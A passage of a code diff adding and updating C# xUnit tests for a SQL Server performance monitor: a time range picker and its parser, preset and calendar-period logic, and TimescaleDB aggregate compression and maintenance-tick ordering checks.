+    public void Select_RefusesARangeUnderTheMinimum_AndHoldsTheOldOne()
+    {
+        StaTestThread.Run(() =>
+        {
+            var picker = Build();
+            picker.NowProvider = () => new DateTime(2026, 10, 8, 4, 2, 0, DateTimeKind.Unspecified);
+            var raised = false;
+            picker.RangeChanged += (_, _) => raised = true;
+
+            Assert.False(picker.Select(TimeRangeSpec.Relative(TimeSpan.FromMinutes(4))));
+            Assert.False(raised);
+            Assert.Equal("4h", picker.Value.Id);
+
+            /* A calendar period is exempt from the floor: Today at 00:02 is held, never replaced by another range. */
+            Assert.True(picker.Select(TimeRangeSpec.ForPeriod(CalendarPeriod.Today)));
+            Assert.True(raised);
+            Assert.Equal("today", picker.Value.Id);
+        });
+    }
+
+    [Fact]
+    public void Resolve_FollowsTheZoneProvider()
+    {
+        StaTestThread.Run(() =>
+        {
+            var picker = Build();
+            picker.Value = TimeRangeSpec.ForPeriod(CalendarPeriod.Yesterday);
+            var eastern = picker.Resolve()!;
+            picker.ZoneProvider = () => TimeZoneInfo.Utc;
+            picker.Refresh();
+            var utc = picker.Resolve()!;
+            Assert.NotEqual(eastern.StartUtc, utc.StartUtc);
+            Assert.Equal("Oct 7, 12:00 am - Oct 8, 12:00 am (UTC+00:00)", picker.ResolvedText.Text);
+        });
+    }
+
+    [Fact]
+    public void Notes_ShowTheDataStartAndTheCollectorInterval()
+    {
+        StaTestThread.Run(() =>
+        {
+            var picker = Build();
+            picker.Value = TimeRangePresets.Find("1w")!;
+            Assert.Equal(Visibility.Collapsed, picker.NoteText.Visibility);
+
+            picker.DataStartUtc = new DateTime(2026, 10, 3, 18, 0, 0);
+            Assert.Equal(Visibility.Visible, picker.NoteText.Visibility);
+            Assert.Equal("Data starts Oct 3, 2:00 pm", picker.NoteText.Text);
+
+            picker.Value = TimeRangePresets.Find("5m")!;
+            picker.DataStartUtc = null;
+            picker.SampleInterval = TimeSpan.FromMinutes(5);
+            Assert.Equal("Data here is collected every 5 minutes.", picker.NoteText.Text);
+
+            picker.SampleInterval = TimeSpan.FromMinutes(1);
+            Assert.Equal(Visibility.Collapsed, picker.NoteText.Visibility);
+        });
+    }
+
+    [Fact]
+    public void Compact_HidesTheDetailBesideTheButton_AndKeepsItInTheTooltip()
+    {
+        StaTestThread.Run(() =>
+        {
+            var picker = Build();
+            picker.Compact = true;
+            Assert.Equal(Visibility.Collapsed, picker.DetailPanel.Visibility);
+            Assert.Contains("(UTC-04:00)", (string)picker.PickerButton.ToolTip, StringComparison.Ordinal);
+            picker.Compact = false;
+            Assert.Equal(Visibility.Visible, picker.DetailPanel.Visibility);
+        });
+    }
+
+    [Fact]
+    public void TypingARange_PreviewsItBeforeApply_AndAnErrorDisablesApply()
+    {
+        StaTestThread.Run(() =>
+        {
+            var picker = Build();
+            picker.InputBox.Text = "last month";
+            Assert.True(picker.ApplyButton.IsEnabled);
+            Assert.Equal("30d  Sep 1, 12:00 am - Oct 1, 12:00 am (UTC-04:00)", picker.EchoText.Text);
+
+            picker.InputBox.Text = "3m";
+            Assert.False(picker.ApplyButton.IsEnabled);
+            Assert.Contains("5 minutes", picker.EchoText.Text, StringComparison.Ordinal);
+        });
+    }
+
+    [Fact]
+    public void OpeningThePopup_ThemesTheCalendarFromTheHostBrushes_AndAPickedRangeFillsTheTextBox()
+    {
+        StaTestThread.Run(() =>
+        {
+            var dark = new SolidColorBrush(Color.FromRgb(0x11, 0x12, 0x17));
+            var light = new SolidColorBrush(Color.FromRgb(0xE4, 0xE6, 0xEB));
+            var picker = Build();
+            picker.Resources["BackgroundBrush"] = dark;
+            picker.Resources["ForegroundBrush"] = light;
+            var window = new Window { Content = picker, Width = 300, Height = 200, ShowActivated = false, WindowStyle = WindowStyle.None, ShowInTaskbar = false, Left = -4000, Top = -4000 };
+            try
+            {
+                window.Show();
+                picker.PickerPopup.IsOpen = true;
+                // Let the Opened handler and its Loaded-priority theming pass run.
+                window.Dispatcher.Invoke(() => { }, DispatcherPriority.ApplicationIdle);
+
+                Assert.Same(dark, picker.PickCalendar.Background);
+                Assert.Same(light, picker.PickCalendar.Foreground);
+                Assert.Equal("Examples:", picker.EchoText.Text.Substring(0, 9));
+                Assert.NotEmpty(picker.PeriodPanel.Children);
+
+                picker.PickCalendar.SelectedDates.AddRange(new DateTime(2026, 10, 1), new DateTime(2026, 10, 3));
+                Assert.Equal("Oct 1 - Oct 3", picker.InputBox.Text);
+                Assert.True(picker.ApplyButton.IsEnabled);
+
+                TimeRangeChangedEventArgs? picked = null;
+                picker.RangeChanged += (_, e) => picked = e;
+                picker.ApplyButton.RaiseEvent(new RoutedEventArgs(System.Windows.Controls.Primitives.ButtonBase.ClickEvent));
+                Assert.NotNull(picked);
+                Assert.Equal(TimeRangeKind.Fixed, picked!.Spec.Kind);
+                Assert.Equal(new DateTime(2026, 10, 1, 4, 0, 0), picked.Range.StartUtc);
+                Assert.Equal(new DateTime(2026, 10, 4, 4, 0, 0), picked.Range.EndUtc);
+                Assert.False(picker.IsPopupOpen);
+            }
+            finally
+            {
+                window.Close();
+            }
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/TimeRangeTests.cs b/Darling/Darling.Tests/TimeRangeTests.cs
new file mode 100644
index 0000000000..eb77bb62ae
--- /dev/null
+++ b/Darling/Darling.Tests/TimeRangeTests.cs
@@ -0,0 +1,332 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+/* Darling.Tests covers the shared picker model (Lite and the Viewer both reference PerformanceMonitor.Ui).
+   Lite.Tests does not compile this file: a linked Darling file must be named in build.yml's Lite path filter. */
+namespace Darling.Tests;
+
+/// <summary>
+/// #5562: the shared time range grammar. Every row of <c>Fixtures/time-range-cases.json</c> must parse to the
+/// stated instants, liveness and echo text (or the stated error code); the web module runs the same file.
+/// </summary>
+public sealed class TimeRangeFixtureTests
+{
+    private static readonly string FixturePath = Path.Combine(AppContext.BaseDirectory, "Fixtures", "time-range-cases.json");
+
+    public static IEnumerable<object[]> Cases()
+    {
+        using var doc = JsonDocument.Parse(File.ReadAllText(FixturePath));
+        foreach (var c in doc.RootElement.GetProperty("cases").EnumerateArray())
+        {
+            yield return new object[] { c.GetProperty("name").GetString()! + " [" + c.GetProperty("input").GetString() + "]" , c.GetRawText() };
+        }
+    }
+
+    [Fact]
+    public void Fixture_UsesZoneIdsThisRuntimeResolves()
+    {
+        using var doc = JsonDocument.Parse(File.ReadAllText(FixturePath));
+        var zones = doc.RootElement.GetProperty("cases").EnumerateArray().Select(c => c.GetProperty("zone").GetString()!).Distinct().ToList();
+        Assert.NotEmpty(zones);
+        foreach (var id in zones)
+        {
+            Assert.NotNull(TimeZoneInfo.FindSystemTimeZoneById(id));
+        }
+    }
+
+    [Theory]
+    [MemberData(nameof(Cases))]
+    public void Parse_MatchesTheSharedFixture(string label, string caseJson)
+    {
+        Assert.False(string.IsNullOrEmpty(label));
+        using var doc = JsonDocument.Parse(caseJson);
+        var c = doc.RootElement;
+        var input = c.GetProperty("input").GetString();
+        var now = ParseZ(c.GetProperty("now").GetString()!);
+        var zone = TimeZoneInfo.FindSystemTimeZoneById(c.GetProperty("zone").GetString()!);
+
+        var result = TimeRangeParser.Parse(input, now, zone);
+
+        var expectedError = c.GetProperty("error");
+        if (expectedError.ValueKind == JsonValueKind.String)
+        {
+            Assert.False(result.Ok, "expected an error but got " + result.Echo);
+            Assert.Equal(expectedError.GetString(), result.ErrorCode);
+            Assert.False(string.IsNullOrWhiteSpace(result.Error));
+            if (c.TryGetProperty("errorMessage", out var message))
+            {
+                // A row that states its words holds both front ends to them (the midnight refusal of a calendar period).
+                Assert.Equal(message.GetString(), result.Error);
+            }
+
+            Assert.Equal(string.Empty, result.Echo);
+            return;
+        }
+
+        Assert.True(result.Ok, result.ErrorCode + ": " + result.Error);
+        Assert.Equal(c.GetProperty("start").GetString(), Z(result.Range!.StartUtc));
+        Assert.Equal(c.GetProperty("end").GetString(), Z(result.Range!.EndUtc));
+        Assert.Equal(c.GetProperty("live").GetBoolean(), result.Range.IsLive);
+        Assert.Equal(c.GetProperty("echo").GetString(), result.Echo);
+    }
+
+    internal static DateTime ParseZ(string iso)
+        => DateTime.SpecifyKind(DateTime.ParseExact(iso, "yyyy-MM-dd'T'HH:mm:ss'Z'", CultureInfo.InvariantCulture, DateTimeStyles.None), DateTimeKind.Unspecified);
+
+    internal static string Z(DateTime naiveUtc)
+        => naiveUtc.ToString("yyyy-MM-dd'T'HH:mm:ss'Z'", CultureInfo.InvariantCulture);
+}
+
+/// <summary>#5562: the preset lists, calendar periods, ids, legacy hour mapping and the notes beside the picker.</summary>
+public sealed class TimeRangeModelTests
+{
+    private static readonly TimeZoneInfo NewYork = TimeZoneInfo.FindSystemTimeZoneById("America/New_York");
+    private static readonly DateTime Now = new(2026, 10, 8, 11, 1, 0, DateTimeKind.Unspecified);
+
+    [Fact]
+    public void RollingPresets_AreTheNineShortOnesInOrder()
+    {
+        Assert.Equal(new[] { "5m", "15m", "30m", "1h", "4h", "1d", "2d", "1w", "1mo" }, TimeRangePresets.Rolling.Select(p => p.Id));
+    }
+
+    [Fact]
+    public void CalendarPeriods_AreTheEightInOrder()
+    {
+        Assert.Equal(
+            new[] { "Today", "Yesterday", "Week to Date", "Previous Week", "Month to Date", "Previous Month", "Year to Date", "Previous Year" },
+            TimeRangePresets.CalendarPeriods.Select(p => p.Name));
+    }
+
+    [Fact]
+    public void CalendarPeriods_ReportTheirCurrentLength()
+    {
+        // Thursday 7:01 am in New York: Week to Date is Monday 00:00 to now.
+        Assert.Equal("3d", TimeRangePresets.CurrentLength(TimeRangeSpec.ForPeriod(CalendarPeriod.WeekToDate), Now, NewYork));
+        Assert.Equal("7h 1m", TimeRangePresets.CurrentLength(TimeRangeSpec.ForPeriod(CalendarPeriod.Today), Now, NewYork));
+        Assert.Equal("1d", TimeRangePresets.CurrentLength(TimeRangeSpec.ForPeriod(CalendarPeriod.Yesterday), Now, NewYork));
+        Assert.Equal("7d", TimeRangePresets.CurrentLength(TimeRangeSpec.ForPeriod(CalendarPeriod.PreviousWeek), Now, NewYork));
+        Assert.Equal("30d", TimeRangePresets.CurrentLength(TimeRangeSpec.ForPeriod(CalendarPeriod.PreviousMonth), Now, NewYork));
+        Assert.Equal("365d", TimeRangePresets.CurrentLength(TimeRangeSpec.ForPeriod(CalendarPeriod.PreviousYear), Now, NewYork));
+        // Just after midnight Today is exempt from the 5-minute floor (seat ruling): it reads 00:00 to now, never another range.
+        Assert.Equal("2m", TimeRangePresets.CurrentLength(TimeRangeSpec.ForPeriod(CalendarPeriod.Today), new DateTime(2026, 10, 8, 4, 2, 0), NewYork));
+        // Exactly at midnight nothing has happened yet, so a zero-length period is still refused.
+        Assert.Null(TimeRangePresets.CurrentLength(TimeRangeSpec.ForPeriod(CalendarPeriod.Today), new DateTime(2026, 10, 8, 4, 0, 0), NewYork));
+    }
+
+    [Theory]
+    [InlineData("400000mo")]
+    [InlineData("1000000d")]
+    [InlineData("999999w")]
+    [InlineData("1000000h")]
+    public void AnId_PastTheHundredYearLimit_IsNotAnIdAndNeverThrows(string id)
+    {
+        // #5562 review H1: a hand-edited settings value used to overflow TimeSpan and crash startup.
+        Assert.False(TimeRangeSpec.TryFromId(id, out var spec));
+        Assert.Null(spec);
+    }
+
+    [Fact]
+    public void AnId_AtTheLimit_StillParses()
+    {
+        Assert.True(TimeRangeSpec.TryFromId("36500d", out var spec));
+        Assert.Equal(TimeSpan.FromDays(36500), spec!.Span);
+        Assert.False(TimeRangeSpec.TryFromId("36501d", out _));
+    }
+
+    [Theory]
+    [InlineData(int.MaxValue)]
+    [InlineData(300_000_000)]
+    [InlineData(876_001)]
+    public void LegacyHours_PastTheLimit_AreNull_NotAnOverflow(int hours)
+    {
+        Assert.Null(TimeRangePresets.FromLegacyHours(hours));
+    }
+
+    [Fact]
+    public void ACalendarPeriodIsExemptFromTheFloor_ButARelativeOrFixedRangeIsNot()
+    {
+        var justAfterMidnight = new DateTime(2026, 10, 8, 4, 2, 0);
+        Assert.True(TimeRangeSpec.ForPeriod(CalendarPeriod.Today).TryResolve(justAfterMidnight, NewYork, out var today, out _));
+        Assert.Equal(new DateTime(2026, 10, 8, 4, 0, 0), today!.StartUtc);
+        Assert.Equal(justAfterMidnight, today.EndUtc);
+        Assert.False(TimeRangeSpec.FixedRange(justAfterMidnight.AddMinutes(-2), justAfterMidnight).TryResolve(justAfterMidnight, NewYork, out _, out var error));
+        Assert.Equal("too_short", error!.Code);
+    }
+
+    [Fact]
+    public void ShortDaysOnTheChangeDays_ReadAs23And25Hours()
+    {
+        var spec = TimeRangeSpec.ForPeriod(CalendarPeriod.Yesterday);
+        Assert.Equal("23h", TimeRangePresets.CurrentLength(spec, new DateTime(2026, 3, 9, 16, 0, 0), NewYork));
+        Assert.Equal("1d", TimeRangePresets.CurrentLength(spec, new DateTime(2026, 11, 2, 17, 0, 0), NewYork));
+        Assert.True(spec.TryResolve(new DateTime(2026, 11, 2, 17, 0, 0), NewYork, out var longDay, out _));
+        Assert.Equal(TimeSpan.FromHours(25), longDay!.Span);
+    }
+
+    [Fact]
+    public void ConsecutivePeriods_TileWithNoGap()
+    {
+        var now = new DateTime(2026, 3, 9, 16, 0, 0);
+        Assert.True(TimeRangeSpec.ForPeriod(CalendarPeriod.PreviousWeek).TryResolve(now, NewYork, out var lastWeek, out _));
+        Assert.True(TimeRangeSpec.ForPeriod(CalendarPeriod.WeekToDate).TryResolve(now, NewYork, out var thisWeek, out _));
+        Assert.Equal(lastWeek!.EndUtc, thisWeek!.StartUtc);
+    }
+
+    [Theory]
+    [InlineData(1, "1h")]
+    [InlineData(4, "4h")]
+    [InlineData(12, "12h")]
+    [InlineData(24, "1d")]
+    [InlineData(168, "1w")]
+    [InlineData(48, "2d")]
+    [InlineData(720, "1mo")]
+    [InlineData(36, "36h")]
+    [InlineData(2160, "90d")]
+    public void FromLegacyHours_MapsWholeHours(int hours, string expectedId)
+    {
+        var spec = TimeRangePresets.FromLegacyHours(hours);
+        Assert.NotNull(spec);
+        Assert.Equal(expectedId, spec!.Id);
+        Assert.Equal(hours, spec.WholeHours);
+        Assert.True(spec.TryResolve(Now, NewYork, out var range, out _));
+        Assert.Equal(TimeSpan.FromHours(hours), range!.Span);
+    }
+
+    [Theory]
+    [InlineData(0)]
+    [InlineData(-4)]
+    public void FromLegacyHours_RefusesZeroAndNegative(int hours)
+        => Assert.Null(TimeRangePresets.FromLegacyHours(hours));
+
+    [Fact]
+    public void Ids_RoundTrip()
+    {
+        var specs = TimeRangePresets.Rolling.Concat(TimeRangePresets.CalendarPeriods).ToList();
+        specs.Add(TimeRangeSpec.Relative(TimeSpan.FromMinutes(90)));
+        specs.Add(TimeRangeSpec.FixedRange(new DateTime(2026, 10, 1, 4, 0, 0), new DateTime(2026, 10, 3, 4, 0, 0)));
+        specs.Add(TimeRangeSpec.SinceInstant(new DateTime(2026, 10, 1, 4, 0, 0)));
+        foreach (var spec in specs)
+        {
+            Assert.True(TimeRangeSpec.TryFromId(spec.Id, out var back), spec.Id);
+            Assert.Equal(spec, back);
+        }
+
+        Assert.False(TimeRangeSpec.TryFromId("", out _));
+        Assert.False(TimeRangeSpec.TryFromId("tomorrow", out _));
+        Assert.False(TimeRangeSpec.TryFromId("0h", out _));
+        Assert.False(TimeRangeSpec.TryFromId("h", out _));
+        Assert.Equal(TimeSpan.FromDays(60), TimeRangeSpec.TryFromId("2mo", out var twoMonths) ? twoMonths!.Span : default);
+    }
+
+    [Fact]
+    public void TheMinimumIsFiveMinutes_AndNothingIsWidened()
+    {
+        Assert.True(TimeRangeSpec.Relative(TimeSpan.FromMinutes(5)).TryResolve(Now, NewYork, out _, out _));
+        Assert.False(TimeRangeSpec.Relative(TimeSpan.FromMinutes(4)).TryResolve(Now, NewYork, out var none, out var error));
+        Assert.Null(none);
+        Assert.Equal("too_short", error!.Code);
+        Assert.Contains("5 minutes", error.Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void NoUpperCap_AYearsLongRangeResolves()
+    {
+        var result = TimeRangeParser.Parse("1000d", Now, NewYork);
+        Assert.True(result.Ok);
+        Assert.Equal(TimeSpan.FromDays(1000), result.Range!.Span);
+    }
+
+    [Fact]
+    public void TypedAndPresetRanges_AgreeOnTheSameInstants()
+    {
+        Assert.Equal(TimeRangeSpec.Relative(TimeSpan.FromDays(7)), TimeRangeParser.Parse("7d", Now, NewYork).Spec);
+        Assert.Equal(TimeRangePresets.Find("1mo"), TimeRangeParser.Parse("30 days", Now, NewYork).Spec);
+        Assert.Equal(TimeRangeSpec.ForPeriod(CalendarPeriod.PreviousMonth), TimeRangeParser.Parse("last month", Now, NewYork).Spec);
+        Assert.Equal(TimeRangeSpec.Relative(TimeSpan.FromDays(30)), TimeRangeParser.Parse("last 30 days", Now, NewYork).Spec);
+    }
+
+    [Fact]
+    public void Resolve_FollowsTheZone_ForCalendarPeriodsButNotForFixedRanges()
+    {
+        var today = TimeRangeSpec.ForPeriod(CalendarPeriod.Yesterday);
+        Assert.True(today.TryResolve(Now, NewYork, out var ny, out _));
+        Assert.True(today.TryResolve(Now, TimeZoneInfo.Utc, out var utc, out _));
+        Assert.NotEqual(ny!.StartUtc, utc!.StartUtc);
+
+        var fixedRange = TimeRangeParser.Parse("Oct 1", Now, NewYork).Spec!;
+        Assert.True(fixedRange.TryResolve(Now, NewYork, out var a, out _));
+        Assert.True(fixedRange.TryResolve(Now, TimeZoneInfo.Utc, out var b, out _));
+        Assert.Equal(a!.StartUtc, b!.StartUtc);
+        Assert.Equal(a.EndUtc, b.EndUtc);
+    }
+
+    [Fact]
+    public void LiveRanges_SlideWithNow()
+    {
+        var spec = TimeRangeParser.Parse("since 10/1", Now, NewYork).Spec!;
+        Assert.True(spec.TryResolve(Now, NewYork, out var first, out _));
+        Assert.True(spec.TryResolve(Now.AddHours(3), NewYork, out var later, out _));
+        Assert.Equal(first!.StartUtc, later!.StartUtc);
+        Assert.Equal(first.EndUtc.AddHours(3), later.EndUtc);
+        Assert.True(later.IsLive);
+    }
+
+    [Fact]
+    public void Label_ForTheIssueExample()
+    {
+        var result = TimeRangeParser.Parse("week to date", new DateTime(2026, 10, 8, 11, 1, 0), NewYork);
+        Assert.Equal("3d  Oct 5, 12:00 am - Oct 8, 7:01 am (UTC-04:00)", result.Echo);
+        Assert.Equal("Oct 5, 12:00 am", result.Range!.StartText);
+        Assert.Equal("UTC-04:00", result.Range.ZoneText);
+    }
+
+    [Fact]
+    public void DataStartNote_AppearsOnlyWhenTheRangeStartsWellBeforeTheData()
+    {
+        Assert.True(TimeRangeSpec.Relative(TimeSpan.FromDays(7)).TryResolve(Now, NewYork, out var week, out _));
+        // Data begins Oct 3 2:00 pm EDT = 18:00Z; the week starts Oct 1 7:01 am EDT.
+        Assert.Equal("Data starts Oct 3, 2:00 pm", TimeRangeNotes.DataStartNote(week!, new DateTime(2026, 10, 3, 18, 0, 0)));
+        // Starting inside the 90 minute slack of the data's start says nothing.
+        Assert.Null(TimeRangeNotes.DataStartNote(week!, new DateTime(2026, 10, 1, 12, 0, 0)));
+        Assert.Null(TimeRangeNotes.DataStartNote(week!, null));
+        Assert.Null(TimeRangeNotes.DataStartNote(week!, new DateTime(2026, 9, 1)));
+    }
+
+    [Theory]
+    [InlineData(10, 5, "Data here is collected every 5 minutes.")]
+    [InlineData(14, 5, "Data here is collected every 5 minutes.")]
+    [InlineData(15, 5, null)]
+    [InlineData(5, 1, null)]
+    [InlineData(5, 2, "Data here is collected every 2 minutes.")]
+    [InlineData(120, 60, "Data here is collected every hour.")]
+    [InlineData(60, 0, null)]
+    public void SampleIntervalNote_FiresUnderThreeSamples(int spanMinutes, int intervalMinutes, string? expected)
+    {
+        TimeSpan? interval = intervalMinutes == 0 ? null : TimeSpan.FromMinutes(intervalMinutes);
+        Assert.Equal(expected, TimeRangeNotes.SampleIntervalNote(TimeSpan.FromMinutes(spanMinutes), interval));
+    }
+
+    [Fact]
+    public void FormatLength_FloorsAndDropsHoursPastADay()
+    {
+        Assert.Equal("45m", TimeRangeSpec.FormatLength(TimeSpan.FromMinutes(45)));
+        Assert.Equal("1h 30m", TimeRangeSpec.FormatLength(TimeSpan.FromMinutes(90)));
+        Assert.Equal("2h", TimeRangeSpec.FormatLength(TimeSpan.FromHours(2)));
+        Assert.Equal("1d", TimeRangeSpec.FormatLength(TimeSpan.FromHours(47)));
+        Assert.Equal("3d", TimeRangeSpec.FormatLength(new TimeSpan(3, 7, 1, 0)));
+    }
+}
diff --git a/Darling/Darling.Tests/TimescaleAggregateCompressionTests.cs b/Darling/Darling.Tests/TimescaleAggregateCompressionTests.cs
index fd6c5e8ee0..f98b4bab3f 100644
--- a/Darling/Darling.Tests/TimescaleAggregateCompressionTests.cs
+++ b/Darling/Darling.Tests/TimescaleAggregateCompressionTests.cs
@@ -1,4 +1,4 @@
-/*
+/*
  * Copyright (c) 2026 Erik Darling, Darling Data LLC
  *
  * This file is part of the SQL Server Performance Monitor.
@@ -100,13 +100,15 @@ public void EveryAggregate_IsRegisteredOnce_WithItsTier_ABucketColumn_AndServerI
            7 (into FrozenRollupAggregates, off the band entirely); LC then removed the deferral that had held
            the three interval-honest successor dailies out of AggregateCompressionTargets, so the list is now
            every member of all three source lists, with nothing subtracted — 6 + 7 + 7. */
-        Assert.Equal(6, TimescaleSupport.HourlyAggregates.Length);
+        /* #5329 appended the two io hourlies, so the hourly list is 8 and the band is 8 + 7 + 7 = 22 of the 23
+           hours available. */
+        Assert.Equal(8, TimescaleSupport.HourlyAggregates.Length);
         Assert.Equal(7, TimescaleSupport.DailyAggregates.Length);
         Assert.Equal(7, TimescaleSupport.BaselineAggregates.Length);
         Assert.Equal(
             TimescaleSupport.HourlyAggregates.Length + TimescaleSupport.DailyAggregates.Length + TimescaleSupport.BaselineAggregates.Length,
             targets.Count);
-        Assert.Equal(20, targets.Count);
+        Assert.Equal(22, targets.Count);
 
         Assert.Equal(targets.Count, targets.Select(t => t.View).Distinct(StringComparer.Ordinal).Count());
 
@@ -199,7 +201,9 @@ three interval-honest successors — the legacy trio dropped out when LC froze i
            tiers (the L1 dedup layer and the interval-grain daily) and the seven baselines: 5 + 2 + 7. Was 17
            before LC (8 + 2 + 7, with the legacy trio still counted); three fewer now. Zero here is a filter
            that matched nothing. */
-        Assert.Equal(17 - 3, checkedTiers);
+        /* #5329: the two io hourlies are leaves with a retention policy and a compression target, so two
+           more: 14 + 2 = 16. */
+        Assert.Equal(17 - 3 + 2, checkedTiers);
     }
 
     /// <summary>
@@ -236,7 +240,9 @@ immediately before the raw compression band opens — the tiling identity from t
            sits past the ceiling inside that window, and a ceiling that grew to meet it fails here — 304 s of
            margin. */
         var secondsPastHeaviest = (minute - TimescaleSupport.HeaviestRefreshStartMinute) * 60;
-        Assert.Equal(1200, secondsPastHeaviest);
+        /* #5329: (35 - 17) * 60 = 1,080 s past the heaviest start (1,200 s at :15 before the two io hourlies),
+           184 s over the 896 s ceiling (was 304 s). */
+        Assert.Equal(1080, secondsPastHeaviest);
         Assert.True(
             secondsPastHeaviest > TimescaleSupport.HeaviestHourlyRefreshObservedCeilingSeconds,
             $"the daily band's minute is {secondsPastHeaviest}s past the heaviest refresh's start against a "
@@ -604,7 +610,8 @@ that were wide. */
                registry's, not a literal chosen to match; this pin catches the day either side of that trade
                moves without the other. */
             Assert.Contains($"{TimescaleSupport.AggregateCompressionTargets.Count}/{TimescaleSupport.AggregateCompressionTargets.Count} materializations chunked at {TimescaleSupport.MaterializationChunkInterval}", firstLog.Joined, StringComparison.Ordinal);
-            Assert.Equal(20, TimescaleSupport.AggregateCompressionTargets.Count);
+            /* Twenty-two since #5329 appended the two io hourlies to the twenty of LC. */
+            Assert.Equal(22, TimescaleSupport.AggregateCompressionTargets.Count);
             Assert.Contains($"{wideBefore} changed this start", firstLog.Joined, StringComparison.Ordinal);
 
             /* A settled store issues no set_chunk_time_interval at all: the direct call returns zero changes and
diff --git a/Darling/Darling.Tests/TimescaleAvailabilityReprobeTests.cs b/Darling/Darling.Tests/TimescaleAvailabilityReprobeTests.cs
index c333b76abd..5d63dce5c5 100644
--- a/Darling/Darling.Tests/TimescaleAvailabilityReprobeTests.cs
+++ b/Darling/Darling.Tests/TimescaleAvailabilityReprobeTests.cs
@@ -54,6 +54,8 @@ public sealed class TimescaleAvailabilityReprobeTests
     private const string TickGuard = "if (StampIsDue(_nextCompressionCheckUtc, CompressionCheckSpan, DateTime.UtcNow))";
     private const string Stamp = "_nextCompressionCheckUtc = TimescaleSupport.NextCompressionCheckUtc(DateTime.UtcNow, s_compressionCheckInterval);";
     private const string Latch = "_timescaleAvailable";
+    private const string LaunchCall = "TryStartStoreMaintenanceTick(token => RunStoreMaintenanceTickAsync(token)";
+    private const string TickSignature = "private async Task RunStoreMaintenanceTickAsync(CancellationToken stoppingToken)";
     private const string ReprobeSignature = "private async Task ReprobeTimescaleAvailabilityAsync(CancellationToken cancellationToken)";
 
     /// <summary>
@@ -84,11 +86,26 @@ public void TheReprobe_IsNotReachableOnlyFromBehindTheLatchItCorrects()
         /* INSTRUMENT FIRST. The probe is required to be under exactly two conditions of its own - the tick's
            due time, and the negated latch - so a walk that returned nothing, or that lost the innermost
            frame, fails here rather than reporting the absence of a positive guard it never looked for. */
-        Assert.True(
+        Assert.False(
             reprobeGuards.Any(g => g.Contains("_nextCompressionCheckUtc", StringComparison.Ordinal)),
-            "the guard walk did not find the store-maintenance tick's due-time condition around the re-probe. "
-          + "Either the probe has been given a cadence of its own - which is a second timer on a tick that "
-          + $"exists to hold them - or the walk is not reading this block. Guards seen: {Describe(reprobeGuards)}");
+            "the re-probe has been given a cadence of its own - which is a second timer on a tick that "
+          + $"exists to hold them. Guards seen: {Describe(reprobeGuards)}");
+
+        /* The probe lives in the tick's own method body (#4970); the tick's due-time condition now guards the
+           single launch call site, and that condition must not test the latch positively either. */
+        var tickBody = MethodBody(code, TickSignature);
+        Assert.False(string.IsNullOrEmpty(tickBody), "could not locate RunStoreMaintenanceTickAsync");
+        Assert.Contains(ReprobeCall, tickBody, StringComparison.Ordinal);
+        Assert.Equal(1, CountOf(code, LaunchCall));
+        var launchGuards = EnclosingGuards(code, code.IndexOf(LaunchCall, StringComparison.Ordinal));
+        Assert.True(
+            launchGuards.Any(g => g.Contains("_nextCompressionCheckUtc", StringComparison.Ordinal)),
+            "the guard walk did not find the tick's due-time condition around the launch call. "
+          + $"Guards seen: {Describe(launchGuards)}");
+        Assert.True(
+            !launchGuards.Any(TestsTheLatchPositively),
+            "the hourly tick is launched from behind a guard that requires _timescaleAvailable, so a falsely-degraded "
+          + $"service could never re-probe (#3815): {Describe(launchGuards)}");
 
         Assert.True(
             reprobeGuards.Any(g => g.Replace(" ", string.Empty, StringComparison.Ordinal).Contains("!" + Latch, StringComparison.Ordinal)),
@@ -146,6 +163,7 @@ public void TheTick_StampsItsDueTimeWhateverTheLatchSays_AndTheProbeRunsAheadOfT
            would break without breaking anything else. */
         Assert.Equal(1, CountOf(code, TickGuard));
         Assert.Equal(1, CountOf(code, Stamp));
+        Assert.Equal(1, CountOf(code, LaunchCall));
         Assert.Equal(1, CountOf(code, CompressionCall));
         Assert.Equal(1, CountOf(code, RetentionCall));
         /* #3817's store-object convergence is the fourth tenant, and the count is here for the same reason
@@ -155,18 +173,30 @@ would break without breaking anything else. */
         /* The latch is gone from the tick's OUTER condition; it now sits one level in. */
         Assert.DoesNotContain(Latch + " && StampIsDue(_nextCompressionCheckUtc", code, StringComparison.Ordinal);
 
+        /* In the loop: due-time guard, then the stamp, then the launch. */
         var guardAt = code.IndexOf(TickGuard, StringComparison.Ordinal);
         var stampAt = code.IndexOf(Stamp, StringComparison.Ordinal);
-        var reprobeAt = code.IndexOf(ReprobeCall, StringComparison.Ordinal);
-        var compressionAt = code.IndexOf(CompressionCall, StringComparison.Ordinal);
-        var retentionAt = code.IndexOf(RetentionCall, StringComparison.Ordinal);
-        var convergenceAt = code.IndexOf(ConvergenceCall, StringComparison.Ordinal);
+        var launchAt = code.IndexOf(LaunchCall, StringComparison.Ordinal);
+        Assert.True(
+            guardAt > 0 && stampAt > guardAt && launchAt > stampAt,
+            "the loop runs: due-time guard, stamp, launch of the tick - in that order (got "
+          + $"{guardAt}, {stampAt}, {launchAt})");
+
+        /* In the tick's method body: availability re-probe, flag gate, compression read, retention pass,
+           store-object convergence - in that order. */
+        var tickBody = MethodBody(code, TickSignature);
+        Assert.False(string.IsNullOrEmpty(tickBody), "could not locate RunStoreMaintenanceTickAsync");
+        var reprobeAt = tickBody.IndexOf(ReprobeCall, StringComparison.Ordinal);
+        var flagGateAt = tickBody.IndexOf("if (" + Latch + ")", StringComparison.Ordinal);
+        var compressionAt = tickBody.IndexOf(CompressionCall, StringComparison.Ordinal);
+        var retentionAt = tickBody.IndexOf(RetentionCall, StringComparison.Ordinal);
+        var convergenceAt = tickBody.IndexOf(ConvergenceCall, StringComparison.Ordinal);
         Assert.True(
-            guardAt > 0 && stampAt > guardAt && reprobeAt > stampAt && compressionAt > reprobeAt && retentionAt > compressionAt
+            reprobeAt >= 0 && flagGateAt > reprobeAt && compressionAt > flagGateAt && retentionAt > compressionAt
             && convergenceAt > retentionAt,
-            "the tick runs: due-time guard, stamp, availability re-probe, compression read, retention pass, "
+            "the tick body runs: availability re-probe, flag gate, compression read, retention pass, "
           + "store-object convergence - in that order (got "
